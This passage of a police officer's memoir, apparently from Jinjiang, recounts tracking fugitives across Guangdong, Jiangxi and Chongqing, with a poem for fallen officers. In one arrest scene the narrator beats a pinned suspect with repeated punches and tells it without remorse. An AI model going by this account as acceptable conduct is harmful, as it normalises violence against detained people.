正好周末，将人送进看守所后，约好下周一移交。周一的时候，刘勇过来了，让我惊讶的是，他带来了四台豪车，两台保时捷卡宴，一台奔驰一台宝马组成的车队，我坐着其中一辆保时捷卡宴去办理手续，然后到看守所移交两名逃犯。刘勇跟我介绍，朋友们组队送他们回老家，顺便去玩一下，因为一起的人很多，加上四名民警押，两名逃犯，所以需要车，于是就来了四台车。我的下巴差点没有惊下来。刘勇热情邀请我去湖北玩，特别是出差的时候，我满口答应。 此后几年间，联系一直没有中断，刘勇就多次打来电话邀请我去玩，荆州是因三国而闻名天下，有很多很好玩的地方，这引起了我的极大兴趣，我们约好等工作不忙了，就去他那喝酒，但是因为工作原因一直未能成行。2015年春节前，我值班，在大队食堂吃饭，食堂的电视上央视新闻出现了刘勇的照片，我按压中内心的惊恐，仔细看完了那条新闻，这个新闻每年都会出现很多次，刘勇已于两天前牺牲。我鼻子瞬间很酸，内心隐隐作痛，后悔爬上我的心头，我们约好的酒，这辈子无缘再喝了。 干公安工作就是这样，几乎每天你都要听到这样的消息。仅2011年全年牺牲民警442人，仅清网行动期间，全国就有21名战友因公牺牲在追逃的路上。当那些曾和你并肩作战的战友，转眼就挂在了墙上，你的内心会伤痛，也会变得更强。当你面对生离死别，你能做的就是忍住眼泪，忘掉伤痛，继续前行，更努力的活着，每到清明，我都会想起那些牺牲的战友，我认识的，还有不认识的，默默的倒一杯酒，敬天地，祭兄弟。 我有一壶酒，足以慰风尘。 警中有禁令，多年未沾唇。 赤心战魍魉，年损四百人。 巍巍烈士陵，一日一新坟。 壮哉英雄气，正义永长存。 可知儿尚小，闺中未亡人。 流血又流泪，何时不再闻？ 责任励斗志，忠诚铸警魂！ 以此悼念所有牺牲的公安先烈。 四、千里走单骑 清网行动虽然结束了，但是追逃的行动从未停止过。2014年，我们又开展一个专项追逃行动，清理历年的逃犯。于是我开始了追逃之路，当时我组建图像侦查中队，剩两个人，我和老庄，老庄是网安过来的追逃能手，我们决定不放弃这个业务，没有具体的追逃任务，但是研判我们是强项，虽然没有足够人手，但是还是想在专项行动中做点成绩，当时建设视频监控的任务还没有提上日程，而具体的破案有打击专业队，我们完全是辅助，全市的视频员培训都已经告一段落。为了响应局里的阶段核心工作，我们还是要去抓几个逃犯回来，充分发挥优势，所以全局上网的逃犯都是我们的目标。经过大队领导同意，我们挂钩联系的派出所派一名新民警小李跟着我，来跟着学艺的，一起出去追捕逃犯。 这次我的目的地，选择了广东省，此后两年，我经常去广东追捕逃犯，福建和广东的人员流动比较频繁。出发前，我们经过认真研判，发现了多个负案在逃的嫌疑人都藏身在广东。首先是去追一名在逃的女毒贩，老庄前期的研判，一直盯着。 深圳龙岗新区，动车直接到了深圳北站，从北站出来，地铁直接到了龙华清湖站，出站步行500米，就到了龙华新区分局。刑侦大队位于七楼，协外的中队长姓李，当时网安工作也是这个中队负责。他指派小方配合我们工作，很巧的是，小方是老熟人了，因为新组建的分局和大队，职责比较集中，深圳警方的理念是警力下沉，基层派出所人比较多，小方虽然也是该中队的，但是主要的工作是负责管理网吧。小方是湖北人，比我小两岁，之前一直在龙岗分局工作，组建龙华新区分局的时候过来的，早在08年他就到晋江移交我抓的一个职务侵占逃犯而结识。当时留了手机号码，后来偶尔还有联系，想不到他乡遇故知。当时中队负责研判工作的是小川，在外面工作，小方对研判工作不熟悉，建议我自己通过电脑查询数据，研判分析，我就开始把我掌握的逃犯数据全部查询了一下。查了一上午，下午我再去他们办公室，小川回来了，于是我就跟他介绍案情，说我要来追的几个目标的情况，他一开口就是特别熟悉的口音，当我问他是哪里时，跟我猜的一样，我们是老乡，老乡见老乡，两眼泪汪汪。接着就跟有意思了，小川毕业前实习的刑侦大队跟我都很熟悉。小川是的90后，江西警院毕业后，通过招考到了深圳市公安局，分配到了龙华新区分局。当时参加工作不久，研判这一块已经非常熟悉了。通过他的分析，我要追捕的第一名逃犯，那名女毒贩，应该藏身在观澜街道，在某工业区的一家工厂里。我们就赶去观澜街道，由观澜派出所的同志配合我进行排查，当时在观澜所吃的晚饭，但是当天排查没有结果。 第二天，继续排查，结果发现，逃犯可能藏身的地点位于另一个派出所福林所的辖区。小川帮我联系了福林所的办案队，由他们配合我，我们在仔细的排查。这时在晋江的老庄发来信息，称女毒贩，已经购买车票，准备离开。我们得堵住她。当晚，我们在一家工厂的宿舍里将她拦截住。带回福林所审查，发现其提供的身份证是另一个人，并不是逃犯，为了证实女子身份，我们开始仔细查询，证实以后。经过询问，原来之前那名女逃犯是其亲哥哥的女朋友，曾经使用过她的身份证，然后在互联网留下了我们一只追踪的痕迹，我们找错人了。女毒贩不在这里。这不是我第一次追错了对象，刑侦工作多年，失败是常有的事情。你努力了很久，到最后才发现方向错了，沮丧总会伴随你。只能总结一下经验，不能过多的停留，下一个逃犯在珠海，我们将抓错的女子送回工厂。启程前往珠海。从深圳走高速，去往珠海，途径虎门大桥，已经是晚上11点，依然花了近一个多小时才通过这个路段。到达珠海，已经是凌晨1点多，住进了珠海市公安局警官俱乐部。 第二天，我们直接去了珠海市公安局刑侦支队，他们派了一个小伙子配合我们。根据前期的工作研判，涉嫌盗窃的嫌疑人熊某，湖南人，被我们登记为网上在逃人员，前期分析的基础上，发现其使用了一个手机号码，这个号码在珠海斗门活动，斗门原是珠海的一个县，后改为斗门区。 连续两天我们在珠海市和斗门周边一直转，去移动公司调取话单，去斗门附近查看情况，但是一直没有效果。第三天，我决定直接去斗门住在那里开展工作，在斗门派出所。负责刑侦业务的副所长是原刑侦支队民警，珠海刑侦支队的民警引荐了我们。他根据我提供的数据，派了一名民警配合我工作，根据嫌疑人数据反映的情况，他的主要活动的区域，在斗门下面一个工业区，有一个行政村，同时也是格力集团公司所在地，仅是格力企业就由几万人，排查起来，犹如大海捞针。 我们先去工业区旁边的村子，可能是嫌疑人落脚的地方，这是广东沿海地区很常见的一个村子，进村有多条道路，水泥路，泥土路，榕树、香蕉树随处可见，大部分的房子都是聚集在一起，都是自建房，很多有院子，房子之间有留通道。有旧村和新村，旧村大多以传统民居为主，房屋低矮，窗户很小，有些已经废弃。新村就是新式房屋，规划较好，得益于周边的工业区的兴起，来了大量的务工人员，在新村还有大片的专门用于出租的自建房，目测有几十栋，还形成了市场，各种店铺，一副热闹繁华的场景。 通过当地派出所民警了解，意外的发现新的情况，这个一个住了数万人的大村子，没有专门的电信服务，但是有电信宽带的二道贩子，他通过租两条光纤接入互联网，然后接上网络交换设备，再以极低的价格包月出租，有需要的租户，就30块50块包个月，二道贩子就拉一条网线到他的租房，通过后台程序分配一个IP,分配一点带宽。而总共有近千户这样的租户，整个村子的房屋比较密集，我抬头就可以看到像蜘蛛网一样的网线，毫无规律的架在房子与房子之间。巧的是，这个二道贩子是江西人。我跟他沟通了一下，他答应无条件配合我工作，但是排查了半天，没有任何头绪，我只能暂时放弃，然后去工业区排查工厂工人情况。 斗门派出所民警很给力，联系了格力负责人事的部门主管，我们吃完晚饭，就直接开车去了格力集团厂区，厂区面积很大，如果不熟悉，都会迷路，保安通过电瓶车上岗及巡查，一个值班的保安开着电瓶车引导我们直接到了集团的主办公大楼门口，停好车，进入到大楼我才切身体会到什么是大企业，装修谈不上豪华，但是给人感觉很大气，当时外面很热，进入大楼内就能感受舒适的凉意，当然了，格力是专业生产空调的。我们所在的工业区被称为压缩机园区，专门生产压缩机的。整个大楼非常整洁，给人感觉管理非常规范，保安彬彬有礼，主楼的保安引导我们到办公室，坐电梯上楼，经过一个巨大的可以容纳数百人办公室的大厅，摆的非常整齐的格子间，此时已经没有人，下班了。到了人事部有一名姑娘在等我们，已经把员工名册拿出来，该园区共有2万名员工，有几十页，我们用了近两个小时，才快速翻完所有的名册，没有找到我们要找的人。感谢格力的支持，然后我们原路离开格力，到了所里。留了所里的换班的值班所领导电话，然后继续去村里，逃犯熊某住在那里，只是不知道他住哪一间而已。我必须找到他。我再次返回二道贩子老乡那里，要了所有的宽带用户资料，一个一个的排查，翻查，最后一名名字引起了我的注意，熊某军。逃犯熊某的哥哥也叫熊某军，是不是他呢？我立即翻出了资料，发现果然是叫熊某军，但是里面没有户籍资料，是不是这个熊某军呢？中国同名同姓的人很多，很多人同名同姓甚至还同年同月同日生。但是直觉告诉我，我离这个逃犯熊某很近了，只有最后这几百米了，就隔着这个熊某军了。 我叫来二道贩子，询问熊某军的住处，根据登记资料，指向其中一栋楼，我们非常兴奋，立即赶到那栋楼，这时当地很常见的专门用于出租的楼，7层高，没有电梯，楼梯也很窄，楼的门像单元门，每一层上去又一个走廊，每层有6-10房间，根据大小不同，有单间，也有一室一厅，每个房间都带有卫生间，一楼有一间房是管理员住的，我找到的那栋楼是一个上年纪的管理员，出示证件后，我们要求提供租户名册，管理员立即找出了名册，跟我一起的是派出所的协警，他不断提醒管理员，登记是否完整，管理员拍着胸脯保证数据完整。在广州、深圳追逃多年，我们对他们这种管理模式是特别欣赏的，虽然不能完成信息化，但是基本上没有遗漏。 没有熊某军的名字，登记的手机号码里，也没有我们掌握的手机号码。我还不死心，上楼挨个房间查了一下，仍然没有。根据其中一个有电脑上网的租房，我查看了一下ip地址，与二道贩子分配的内网地址不符，我才确认是二道贩子弄错了。 我即生气又紧张，生气是因为资料错了，害我白忙活，天气热人容易生气；担心是因为刚刚的大排查可能会惊动逃犯熊某，如果惊动他，真的就前功尽弃了。我急匆匆赶回二道贩子那里，时间已经是晚上11点，二道贩子看到我生气的样子，非常自责，因为客户太多，登记的资料难免出错。本来他准备休息的，但是这个时候，他依然陪着我，我利用他的管理软件，巡查整个网络中的用户，突然一个熟悉的号码出现，路由器数据后台发现，有一个熟悉的号码在通过网络向外发送和接收数据，这不是逃犯熊某之前用过的号码，真是踏破铁鞋。根据这个号码的内网ip 数据，不过这个ip登记显示的是一个四川人，在这个ip 上还有其他两个号码有数据，一个是熊某军的。可以确认这就是逃犯熊某的落脚点，通过二道贩子排查的线路，我们再次确认了新的位置，这是离我们非常近的一栋四层自建楼，旁边是一块空地，前后是其他村民的自建楼。我们借助月光，摸到这里，时间已经是凌晨零点，整个村里已经非常安静，我们摸到这栋楼下，通过观察，整栋楼的窗户全部安装有防盗铁窗，一楼有连个们，大门和边门，都是厚厚的防盗门，边门还有两层，我向上看，三楼还有灯光。似乎有人影在晃动。 我们敲开房门，一楼住的是租房管理员，一位上年纪的老人家，我们说明来意，要查看一下租户登记，管理员拿来了登记本，我们很快就找到了熊某军和其老婆的名字，他们住三楼，据了解是一个两房组成的小套间，登记跟他们一起住的还有，一名四川籍男子，就是在二道贩子的管理后台登记的那名男子，我内心一阵暗暗狂喜，我努力压制住情绪，让一同来的斗门所的协警出门打电话叫所里来人支援，我悄悄上楼看了一下，熊某军登记的房间位于三楼楼梯的右手边，因为是单独隔的套间，用的是铁质栅栏式的防盗门，还有一道木门，门都是关着的，我仔细停了一下里面有人在洗澡，还有男女说话，还有电视的声音。我脑子飞速的运转，如何进门。我悄悄退回到楼梯口，守在楼梯口，同时安排跟我一起的派出所小李，到门外看着，并迎接斗门的支援警力。就这样我们静静的守在楼梯口，半个小时后，斗门所的支援警力赶到，他们值班民警8个人，来个7个，个个全副武装。每人一把□□手枪，两个弹夹，贴身的真皮快拔枪套，看着不错。支援警力留三个在楼下，防止跳楼。剩下四个上楼。 我们立即制定抓捕措施，原计划是由管理员敲门，里面的人把门打开后，我们就进屋搜捕。结果管理员真敲门的时候，里面的人问干嘛，管理员直接说派出所来查房，我当时汗就急出来了，不过还是耐着性子，好在熊某军老婆来开的门，门开后，她转身回房间拿身份证。我们迅速进到里屋，里面是两个房间，里面的房间大一些，有一张双人床，还有衣柜电视等物，外面的房间小一点，一张桌子，一张高低床，中间是一个卫生间。我们分头进入两个不同房间，在两间房的门口，接过递来的身份证，我看到熊某军的身份证，还有四川籍男子的身份证，不过明显是□□，上面的照片是熊某的。我看到第一个房间内，逃犯熊某正穿着大裤衩，正坐在一个高低床的下铺上玩手机，先进去斗派出所民警问他叫什么，他没抬头回答道熊某军。碰巧熊某军洗完澡从卫生间出来，民警问题叫什么，直接没吭声。 我直接拿出随身携带的手铐，走进外面房间，铐住逃犯熊某，对斗门派出所民警说这就是熊某，熊某军是他哥哥，然后搜身押下楼，带到停在村口的车上。我们离开的时候，斗门派出所 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中午吃完午饭出发，计划两个半小时到深圳。刚到虎门大桥我就知道我的计划全部泡汤，在虎门大桥路段运气不错，用了2个小时通过了，下午4时许，终于赶到深圳市区，5点准备动身去深圳北站，正值晚高峰，打开手机高德地图，能出去的路都是红色的。及时更改路线，走地铁，最近的地铁站，于是我们押着一名戴手铐的旅客一路挤地铁，我临时买了一条金属的狗链两把挂锁，把嫌疑人两只脚铐住，一路行走的时候，哗哗作响，旁边的人呢见状，主动给我们让路，进到地铁站，虽然很挤，但是人群离我们始终保持一两米远，如同用透明玻璃隔开的一样，画面诡异。不过我们倒是很舒服。 到了车站，买不上票，联系北站派出所，送我们上了最后一趟去厦门的车，列车长安排我们坐在了乘警席，一等座车厢，按二等座买票，享受了一回特权。座位是在车厢的第一排，嫌疑人坐地上，我们对面，那几年押嫌疑人回晋，我几乎都采取这种坐的方式。上车后我们通知到厦门北站接我们。四个小时很快，就到厦门北站，我门出来时，出站口一辆等候已久的警车，闪着警灯。 在家休息了三天，发现有一名东石所的在逃犯出现在惠州，东石所安排了两名民警一辆车加上我一起，计划抓捕。一辆东风本田艾力绅，这款车很不错，MPV车厢，2.4排量，但是动力不弱，全系配有电动门，两个天窗，外观不咋的，大一号的五菱宏光，但是乘坐舒适性很好，车子据说很省油，我们一箱油开到了惠州，还有剩，七百公里。当天我们住在惠州市区。 第二天一早就出发到惠州市惠城区刑侦大队，嫌疑人在惠城区下面的一个工业区，根据前期的判断，嫌疑人是某汽车饰品厂的销售人员。这不是我第一次来惠州，刑侦大队排了一名民警跟我们一起去派出所做工作，惠州的民警直接就跟当地派出所打电话，询问那家派出所情况，当地所里也排了一名民警跟着我们一起。 我们在中午的时候，到达派出所，经派出所民警了解，逃犯上午已经跟老板一起外出，于是我们伪装成客户，来找他谈业务，我和其中一名民警在厂里等，剩下的人在外面守候，等逃犯回厂，就里应外合将其擒获。 等了近一个小时，工厂老板的奥德赛回来了，逃犯熟悉的身影出现在我们面前，个子不高，瘦瘦的，一脸热情，当我们将其铐住的时候，他还一脸懵逼。 晚上，人羁押在惠州，我们动身前往深圳，在深圳一家酒吧喝酒，结果我喝多了。早上起床的时候就在吐，无奈住进了医院，这是我第一次在深圳喝酒住院，此后，每次来都住进医院，都是因为喝酒。 东石所的兄弟回惠州将人押回晋江，而我下一站的目标是广州。小李搭动车过来与我汇合。我在医院打了两天的点滴，第三天一清早才启程去了广州。我们去到广州市局刑侦支队，正直周六，支队没有人，目标逃犯在花都区，支队民警让我们下周一去花都开展工作，于是我继续休息，调整了两天。周一上午赶到花都刑侦大队，大队一位老同志配合我们开展工作，去当地派出所，一层层协调很久，下午三点多，才到目标逃犯藏身的工厂，我们到之前逃犯刚刚离开一个半小时，我计划在工厂等他，结果到了下午5点多，晋江来电称，逃犯去广州北站见网友，被铁路警方抓获，铁路警方专门干这事，铁路警方每年抓获的逃犯非常多，几乎成了他们的主营业务。 我返回广州市区，休整一个晚上，第二天出发去深圳，那里还有很多逃犯的数据等着我去梳理，我提前联系了小川，他在外面出差抓捕，没有时间接待我。我只能自己根据前期的数据开展工作了。 第二天，老庄通知我，一个□□嫌疑人可能藏身在东莞市某镇，我迅速赶往东莞，经过细致工作，当晚在东莞抓获那名逃犯，羁押在东莞，等晋江来人移交，我和小李就返回深圳继续工作。 这次我放慢了工作进度，变得悠闲起来。住进一家四星级酒店，每天工作几个小时，晚上去游泳健身，等小川回来。但是他一直没回。消磨了三天时间后，我感觉自己的身体状态已经基本恢复。继续去追对后一个已经掌握的目标，有个逃犯的老婆住在宝安区某镇，根据前期的研判，应该在夜场上班。我赶去当地，在当地民警的配合下，掌握了她的住处和手机号码等信息，根据她的通讯记录开展研判工作，但是没有什么效果，我在她家楼下守候了两天，始终没有见过逃犯，后来派出所民警派了一个流动人口协管员入户访查，也未能发现逃犯踪迹。 我仔细研究后，找出了逃犯赵某的手机号码，小川刚好回来，帮我查询了一下号码，号码位置出现在江西，根据综合出现的信息可以判定逃犯赵某此时应该在江西上饶老家。当天，我们就从深圳保安机场飞往南昌，在南昌机场吃的肯德基，肯德基似乎是我们出差最佳快餐，能量高，到处都有，除了重庆、四川地区，我几乎吃遍了出差目的地的肯德基餐厅。其实，肯德基也是我们最喜欢吃的快餐，到现在，我还还经常吃。吃完简易晚餐，我们选择搭乘机场大巴到了上饶市，抵达上饶市区已经是晚上9时许，下车的地点就近找了间酒店，住下。 第二天，我们收拾姓李，前往上饶刑侦支队请求协助，客气了一下，然后叫我们直接去鄱阳县公安局刑侦大队。从上饶市区搭乘大巴到鄱阳县，路上走了大约四个小时。达到的时候已经是下午了，跟鄱阳县公安县刑侦大队对接完，因时间太晚，约好第二天出发去下面乡镇开展工作，晚上约他们一起吃饭，被拒绝，当晚入住鄱阳。 鄱阳是江西省第一大县，人口最多，登记在册的人口近160万人。地处鄱阳湖畔，与九江、景德镇、安徽等地接壤。之前叫波阳县，后来更名为鄱阳县。 鄱阳刑侦大队民警小李配合我们，驾驶一辆面包车前往乡镇。一路上鄱阳小李说出了他的担忧，据他介绍，目标乡镇位处鄱阳湖边，民风强悍，村民聚集而居，人员众多，一个村就有近万人，不久前，当地组织人员因进村抓捕重点打击对象，被当地村名聚众围堵，最后与公安局发生冲突，鄱阳公安局几百名警力被打出来，十几辆警车不同程度被损毁，当地差不多被列为“禁区”，轻易不进村抓人。听他说完，我心里蒙上了一层阴云。 我们到了逃犯赵某户籍当地的派出所，所长安排小龚配合我们工作，小龚是新警，对当地特别熟悉，他立即打电话给当地熟悉信得过的村干部，询问逃犯的情况，并没有透露对方是逃犯的身份，据村干部反映，嫌疑人这段时间从深圳回来在家，我的内心开始紧张起来。时至中午，所长安排我们在所里跟阿们一起吃工作餐，吃完进村，趁村民最松懈的时候到嫌疑人家中抓捕。吃完午饭，稍事歇息，13时许，我们开车出发，行进到村口的时候，我问村里有没有网吧，小龚说有，我就说先去网吧看一下，再去他家。因为当地警民关系比较紧张，大家都认识小龚，为了不引起当地村民注意，由我跟晋江的小李就下车去侦查一下情况，他们在车上负责接应。网吧就在村口的大路边上，我们车停在路边。我和小李下车后，走到那家网吧门口，虽然在路边，但是门口却开在公路的背面，我们走到大门前二十米远的距离望去，网吧内有一些人在玩，大多为青少年，坐在门口第一台电脑上的男子看上去很面熟，走近一看，就是逃犯赵某，我叫小李，赶紧去车上把鄱阳的两个民警叫过来，我计划走到网吧门口看住赵某，因为农村网吧，设施比较差，没有空调，门窗都是开着的，我走到离门口不足三米的时候，逃犯赵某向外看，看了我一眼，跟我眼神对视的一霎那，他突然拔腿就跑，冲出门来，想要绕开我夺路而逃，但是我立即重心下沉，在他冲到面前的瞬间，伸手去抱住他，没有抱住，直拉住他一只手，我顺手拉住他的手腕，一个反折关节，想要控制住，结果他拼命要跑，完全不顾我，我被他拖拽向前，我已经掏出手铐，铐住他一只手，但他像发狂一样，仍然不顾一起的要跑，并且拖着我，我跟着他跑的方向，用力推他，破坏了他的重心，他没站稳，就向前倒去，但是他倒下去的同时，带手铐的那只手还拽在我的手里，我也跟着倒下去，我起来要去拖他，结果他反手打了我一下，并试图用脚踹我，我有些急躁了，直接就压在他身上，也没打算继续上铐了，而是直接按住人，就用拳头猛揍其头部，身体躯干部位，他发出嗷嗷的惨叫声，我嘴里还喊着“让你跑！”。连续揍他十几拳以后，我听见身后有人喊，“干什么”。我全力对付逃犯赵某，完全忽略了其他人，他的惨叫声引来了很多围观群众，应该都是他们从村里的人，我将赵某双手背铐以后，从地上拉起来，从裤兜里掏出证件，告诉他们警察办案，晋江的小李和鄱阳的小李、小龚也已经赶到，群众围了还不是很多，离我们还有一点距离，可能被我揍人的样子吓到了，没敢靠近，不敢相信警察真的会打人。趁着围观的群众还不多，我们快速将人押回车上，启动车辆快速离开，车子启动以后，我回头看了一下眼网吧的方向，十几名群众在看着我们离去。 上车才发现，我身上脏兮兮的，刚刚搏斗的地方，很脏，全身也汗湿透。我们到派出所将小龚放下，没敢在派出所停留，一路奔回刑侦大队，路上我问赵某，刚刚那些人谁，他说同村的，有几个是亲戚。我运气不错，赵某路上就承认两年前入室盗窃的犯罪事实，那起案件仅现金就有六万多，还有名表首饰，总案值二十余万元。所得钱款，早已挥霍一空。 到鄱阳县城后，做完讯问笔录后，由鄱阳县刑侦大队负责送羁押。我打电话通知家人来接人，当天刚好是9月28日，第二天，还是那辆艾力绅，一个民警带两名司机从晋江赶过来。9月30日押逃犯启程回晋江，因为有两名司机，不用换手开车，一路上我基本上都在睡觉，车子很舒服，我坐在中间那排，处于很放松的状态，任务告一段落，当晚抵达。第二天10月1日，开始放长假，领导安排我最后两天值班，让我好好休息几天。 21.第 21 章 五. 重庆记忆 重庆，简称渝或巴，是中华人民共和国直辖市，被称为国家中心城市、国际大都市。是长江上游地区的经济、金融、科创、航运和商贸物流中心。夜晚的重庆市区，有小香港之称。作为西部大开发重要的战略支点、一带一路和长江经济带重要联结点以及内陆开放高地；既以江城、雾都著称，又以山城扬名。重庆地处祖国的西南部，东邻湖北、湖南，南靠贵州，西接四川，北连陕西。总面积8.24万平方千米，辖38个区县（自治县）；常住人口超过3000万。重庆是西南地区重要的综合交通枢纽，重庆地处盆地东部，地形由南北向长江河谷倾斜，地貌以丘陵、山地为主，长江境内流程679公里。 香港著名导演王家卫，曾拍过一部电影《重庆森林》，1994年上映，那年我还在上初中，影片由林青霞、梁朝伟、王菲、金城武主演，讲的是两名警察的故事。在《重庆森林》中，他旨在表现躁动的世界里的无常人生。影片绮丽迷乱的拍摄风格与耐人寻味的对白深受都市人的喜爱，从而使王家卫的影片成为一种独特的文化，有自己特定的受众群体。此外，虽然王家卫的影片一向以没有剧本而使人称奇，对白却是直指人心，相当的耐人回味，因而成为经典。 我的警察故事里，是绕不开重庆的。 第一次去重庆的开县（现开州区）执行的是押解任务，2009年春节刚过，辖区一名涉嫌故意伤害的逃犯回家过年被当地警察抓获了，要我们去移交。因为是我所在片区的案件，当时派出所领导安排我跟着办案队的同志一起过去押解。那时我已经抓获过多名逃犯，并移交给各地的公安机关。重庆开县是刘伯承元帅的故乡，是一个三峡移民县。为了建设三峡工程，开县人民一部分移民到全国各地安置，一部分就地搬迁至高处，老县城全部在水底下，新县城是离老县城约十五公里远的地方，将几座山挖掉填平山谷，开辟出来一块平地，然后在平地上建起来的。属于非常新的县城，规划漂亮。重庆开县原本就是山高水远的地方，地处重庆最北边，新县城也如同一个盆地，周围也都是大山。 重庆人给我第一印象就是热情，好客，豪爽，性格开朗，喜欢吃辣，脾气并不火爆，倒是热情似火。其实早在2008年，我就曾协助重庆开县警方抓获一名命案逃犯，当时是刑侦大队来办案，当时有一名刚参加工作的刑警小李，我们互留了联系方式，至今仍保持联系，有一次我因私去重庆，他从国外赶回来，第二天拉着我去吃顿本地人的火锅，才让我走。 当我第一次去重庆办案，正值王立军铁腕治警时期，重庆的各地警方人人自危，我们也能感受到那种无形的压力，但是他们做事情变得非常细腻，小心入微，尽管如此，我们在重庆的多日，他们每天都很热情的招待我们，各项工作安排的非常妥当，让我们感到很亲切，很轻松。 当时的交通并没有多便利，我们先是飞重庆江北机场，然后坐车进市区，早上7点多的飞机，两个半小时飞到重庆，到市区已经是中午了。第一顿吃的是火锅，先去了解放碑，来之前已经做过功课了，解放碑是重庆市区最热闹的地方，出发前有问重庆的朋友，他们推荐有几家火锅据说不错，我们就去了，第一次吃的是齐齐火锅。当锅底端上来的时候，我就大呼过瘾，整个大锅飘着几层的干辣椒，用汤勺捞底，全都是花椒。吃完火锅，我的嘴唇几乎麻得毫无知觉了。后来才知道，重庆有很多好吃的火锅，据说有两万多家，有外地客人来，都是请吃火锅。 因为贪吃火锅，导致我们都肠胃受不了，于是妥妥的错过了从重庆市区直达开县的长途汽车，为了早点抵达开县，于是搭乘汽车到了万州，就是重庆市万州区，以前是四川的万州地区，开县就是万州地区所属县，重庆市1997年设置为直辖市后，万州地区撤销，改为万州区，成为重庆市辖的区。重庆最初有44个县市区，后重组设置为38个县区。开县就更名开州区，辖区区划还做了调整。从万州搭乘汽车，一个半小时就能抵达开县。虽然全程高速，但是因为高速限速非常低，80公里每小时，隧道60公里每小时，高速上当时没有巡警，只有高速行政执法，为了让司机蹲守交通规则，高速按时间收费，400公里路程时间超过5个小时的原价收费，时间越短，收费越高。当地人介绍说，他们第一次从外地开车回去，不清楚这个规矩，原收费400元的高速通行费，因为时间缩了两个小时，被收1200元的通行费。这个非常有效，除了路上车子主动减速以外，服务区人满为患，每个服务大家都会去停一停，避免了疲劳驾驶。从重庆市区到万州区，我们搭乘大巴，还是走了近5个小时，抵达万州车站时，天已经完全黑了，最后一班开往开县的班车已经发车半小时了。 无奈，当晚我们在万州又住了一个晚上。第二天才从万州车站出发，中午才赶到开县。这是我第一次去开县，此后多年，我还去过多次，开县给我的第一印象是，这是一个巨大的工地，到处都是在建的工地，塔吊林立，大风吹过，漫天灰尘。道路几乎都是新修的，水泥路非常宽敞，两边的树，都是刚刚移植的，大部分树枝树叶都被砍了，留下树干，吊着滴液，这是我第二次看到给树打点滴。整个县城平整，完全颠覆了我对山城的印象，原以为到处都是山，结果看到的是一大片的平地。看上去新县城一片欣欣向荣的景象。开县人口超过150万人，据说其中外出务工人员超过50万人。也有人说超过70万，我更相信后面的数字，因为现场人看着很少，当时车站都是拧着大包小包准备外出务工的人。因为不通火车，客运航运耗时费力，而且当时已经几乎停了，只剩下游轮还在营业。汽车是唯一能走出那边大山的交通方式。长途汽车站都是去往北京、上海、广东、浙江、江苏、福建等地的班线，更多的是搭车去重庆北站，换乘火车。当时刚过元宵节，人们陆续开始外出，汽车站人非常多。从万州到开县的班车，人反而不多。我们坐一个三轮摩托车直接去了县公安局，县公安局是新的办公楼。绿化很好。进到办公楼，门口的保安都很客气，领着我们去了抓获单位，开县刑侦大队，准备办理移交。 当地民警很客气，并不急着移交，而是留我们在当地呆两天，四处看看，吃吃喝喝玩玩再离开，当天正好周五，我们还真这么干了，周一再走。于是去参观了刘伯承纪念馆，时至冬天枯水期，我们远观了在水底的老县城。接着两天吃了又两顿火锅，在梁平出差的小李正好也回来，陪着我一起吃了一顿火锅，那是我们第一次一起吃火锅。周一，我们移交人，开县的当地一个老板，专门安排司机开车送我们到重庆北站，仅仅是因为我们跟他一起吃饭喝酒。 到重庆北站后，春运最后几天，在窗口根本无法买到火车票，我找到北站的铁路警方，请求协助，铁警派人送我们通过vip通道，进站台直接坐上了重庆北到厦门的那趟列车，并帮我们联系列车长，让我们补了三张硬卧的票。由于这趟车经过重庆、湖南、湖北、江西进入福建，这些地方，我们经常区出差，从此之后，在没有通高铁的地方出差，我基本上都是要坐这趟车回福建，从重庆出发，两个夜晚一个白天，总时长38个小时，从重庆出发，最多的时候晚点过2小时。，基本上都能准时到。不过有两个特别的记忆，一、有一年我从不同的地方（湖南、江西、重庆）进站上车，有三次坐了同一个乘务班组的列车，非常巧，由于每次都补票，以至于我跟列车长混熟了；二、曾经因为洪水冲坏部分铁路，我从湖北广水车站搭车区南昌转车回福建，我们搭乘的那途车晚点6个小时，我们原计划的从南昌始发站去福建的车，我们达到时早已发车，正当我们绝望时，却意外搭上这趟因洪水而晚点了八个小时的车。 重庆北站可以说是是西南铁路的客运核心枢纽，不仅仅是春运，就是平时，重庆北站都是人满为患，重庆作为四川出川的一个门户，从四川盆地，翻过崇山峻岭抵达重庆以后，再转车北上或南下。我们曾在四川眉山抓捕命案犯罪嫌疑人，转车至重庆北站，再换乘重庆北到厦门的那趟列车返回福建。长期在西南出差，重庆在我心目中的地位，无比寻常，可以说我对重庆有着特殊的情感，非常亲切。 2011年春节刚过，我们再次来到重庆，时任重案队柯队带队（后提任副大队长）一行四人前往重庆，追捕两名命案逃犯，一名在开县，一名在丰都县。我们从晋江飞重庆，一同前往的还有老高，他与重庆刑警总队联系密切，我们抵达机场时，刑警总队已经派人在机场来接我们。重庆刑总的兄弟非常客气，帮我们安排好了前期所有工作，我带着新警小陈直奔开县，开县警方已经准备好一切，我们抵达当天，逃犯直接到公安局投案自首，我们大喜过望，但是之后发生的事情，发生今生难忘，因为重庆之前所有的科所队长实行全员竞争上岗，于是比较会考试的80后走上领导岗位，而老一点的同志，以前是领导的同志就变成民警，我们到派出所办理手续的时候，由两名上了年纪的老民警为我们办理手续，据说之前都是领导，最后派岗到了派出所，业务不熟，动作极慢，唯一肯定的是，细致认真，甚至有些小心翼翼，我问为什么会这样，老同志回答我，他们任何事情都不敢出半点差错，如果出错，会被王局追究刑事责任，目前开县有市局派驻的督察人员30余名，如果民警有犯错，会被督察先刑事拘留，再审查。听到这些，我的下巴差点没有掉下来。 我们办理完相关手续，第二天就将人押回重庆市区，计划从重庆北坐火车回福建。临走时开县民警一路跟着我们将人带上回重庆的大巴车，警车护送我们离开开县地界，这是我第一次享受的待遇。后来才知道，如果我们押着嫌疑人在开县辖区出了什么状况，会被追究责任的，选择开警车护送就成了他们最稳妥的选择。 